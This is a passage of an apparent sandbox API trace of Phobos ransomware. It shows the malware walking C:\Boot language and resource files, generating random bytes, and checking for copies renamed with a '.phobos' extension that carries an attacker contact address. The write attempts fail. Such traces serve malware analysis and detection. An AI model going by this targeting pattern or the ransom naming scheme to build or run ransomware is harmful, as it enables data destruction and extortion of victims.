(in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0147.845] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Resources\\bootres.dll" (normalized: "c:\\boot\\resources\\bootres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0147.845] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=92576) returned 1 [0147.845] CloseHandle (hObject=0x55c) returned 1 [0147.845] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Resources\\bootres.dll" (normalized: "c:\\boot\\resources\\bootres.dll")) returned 0x20 [0147.845] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Resources\\bootres.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\resources\\bootres.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.845] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Resources\\bootres.dll" (normalized: "c:\\boot\\resources\\bootres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.846] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0147.846] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Resources\\en-US\\bootres.dll.mui" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0147.846] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=12192) returned 1 [0147.846] CloseHandle (hObject=0x560) returned 1 [0147.846] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Resources\\en-US\\bootres.dll.mui" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui")) returned 0x20 [0147.846] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Resources\\en-US\\bootres.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.846] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Resources\\en-US\\bootres.dll.mui" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.847] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0147.847] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ro-RO\\bootmgr.exe.mui" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0147.847] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=76128) returned 1 [0147.847] CloseHandle (hObject=0x55c) returned 1 [0147.847] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ro-RO\\bootmgr.exe.mui" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui")) returned 0x20 [0147.847] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ro-RO\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.847] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ro-RO\\bootmgr.exe.mui" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.849] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0147.849] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0147.850] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=77152) returned 1 [0147.850] CloseHandle (hObject=0x558) returned 1 [0147.850] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui")) returned 0x20 [0147.850] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.850] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.850] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0147.850] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\memtest.exe.mui" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0147.851] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=44960) returned 1 [0147.851] CloseHandle (hObject=0x558) returned 1 [0147.851] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\memtest.exe.mui" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui")) returned 0x20 [0147.851] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.851] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\memtest.exe.mui" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.851] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0147.851] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sk-SK\\bootmgr.exe.mui" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0147.852] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=77144) returned 1 [0147.852] CloseHandle (hObject=0x558) returned 1 [0147.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sk-SK\\bootmgr.exe.mui" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui")) returned 0x20 [0147.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sk-SK\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.852] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sk-SK\\bootmgr.exe.mui" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.853] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0147.853] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sl-SI\\bootmgr.exe.mui" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0147.853] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=76640) returned 1 [0147.853] CloseHandle (hObject=0x558) returned 1 [0147.854] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sl-SI\\bootmgr.exe.mui" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui")) returned 0x20 [0147.854] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sl-SI\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.854] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sl-SI\\bootmgr.exe.mui" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.854] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0147.854] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0147.858] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=77152) returned 1 [0147.858] CloseHandle (hObject=0x558) returned 1 [0147.858] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\bootmgr.exe.mui")) returned 0x20 [0147.858] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\sr-latn-cs\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.858] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.858] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0147.858] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\memtest.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0147.859] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=44888) returned 1 [0147.859] CloseHandle (hObject=0x558) returned 1 [0147.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\memtest.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui")) returned 0x20 [0147.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.859] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\memtest.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.859] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0147.859] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-rs\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0147.860] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=77152) returned 1 [0147.860] CloseHandle (hObject=0x558) returned 1 [0147.860] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-rs\\bootmgr.exe.mui")) returned 0x20 [0147.861] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\sr-latn-rs\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.861] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-rs\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.861] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0147.861] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0147.861] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=76128) returned 1 [0147.861] CloseHandle (hObject=0x558) returned 1 [0147.861] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui")) returned 0x20 [0147.861] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.862] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.862] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0147.862] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\memtest.exe.mui" (normalized: "c:\\boot\\sv-se\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0147.862] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=44952) returned 1 [0147.862] CloseHandle (hObject=0x558) returned 1 [0147.862] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\memtest.exe.mui" (normalized: "c:\\boot\\sv-se\\memtest.exe.mui")) returned 0x20 [0147.862] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\sv-se\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.863] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\memtest.exe.mui" (normalized: "c:\\boot\\sv-se\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.863] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0147.863] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0147.864] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=75096) returned 1 [0147.864] CloseHandle (hObject=0x558) returned 1 [0147.864] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui")) returned 0x20 [0147.864] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.864] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.864] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0147.864] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\memtest.exe.mui" (normalized: "c:\\boot\\tr-tr\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0147.866] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=45472) returned 1 [0147.866] CloseHandle (hObject=0x558) returned 1 [0147.866] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\memtest.exe.mui" (normalized: "c:\\boot\\tr-tr\\memtest.exe.mui")) returned 0x20 [0147.866] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\tr-tr\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.866] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\memtest.exe.mui" (normalized: "c:\\boot\\tr-tr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.866] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0147.866] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\uk-UA\\bootmgr.exe.mui" (normalized: "c:\\boot\\uk-ua\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0147.867] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=77152) returned 1 [0147.867] CloseHandle (hObject=0x558) returned 1 [0147.867] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\uk-UA\\bootmgr.exe.mui" (normalized: "c:\\boot\\uk-ua\\bootmgr.exe.mui")) returned 0x20 [0147.867] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\uk-UA\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\uk-ua\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.867] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\uk-UA\\bootmgr.exe.mui" (normalized: "c:\\boot\\uk-ua\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.867] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0147.867] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0147.867] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=63840) returned 1 [0147.868] CloseHandle (hObject=0x53c) returned 1 [0147.868] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui")) returned 0x20 [0147.868] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.868] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.868] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0147.868] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\memtest.exe.mui" (normalized: "c:\\boot\\zh-cn\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0147.869] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=42400) returned 1 [0147.869] CloseHandle (hObject=0x53c) returned 1 [0147.869] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\memtest.exe.mui" (normalized: "c:\\boot\\zh-cn\\memtest.exe.mui")) returned 0x20 [0147.869] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\zh-cn\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.869] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\memtest.exe.mui" (normalized: "c:\\boot\\zh-cn\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.869] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0147.869] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0147.875] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=63832) returned 1 [0147.875] CloseHandle (hObject=0x53c) returned 1 [0147.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui")) returned 0x20 [0147.876] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.876] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.876] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0147.876] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\memtest.exe.mui" (normalized: "c:\\boot\\zh-hk\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0147.879] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=42328) returned 1 [0147.879] CloseHandle (hObject=0x53c) returned 1 [0147.879] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\memtest.exe.mui" (normalized: "c:\\boot\\zh-hk\\memtest.exe.mui")) returned 0x20 [0147.879] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\zh-hk\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.879] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\memtest.exe.mui" (normalized: "c:\\boot\\zh-hk\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.879] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: 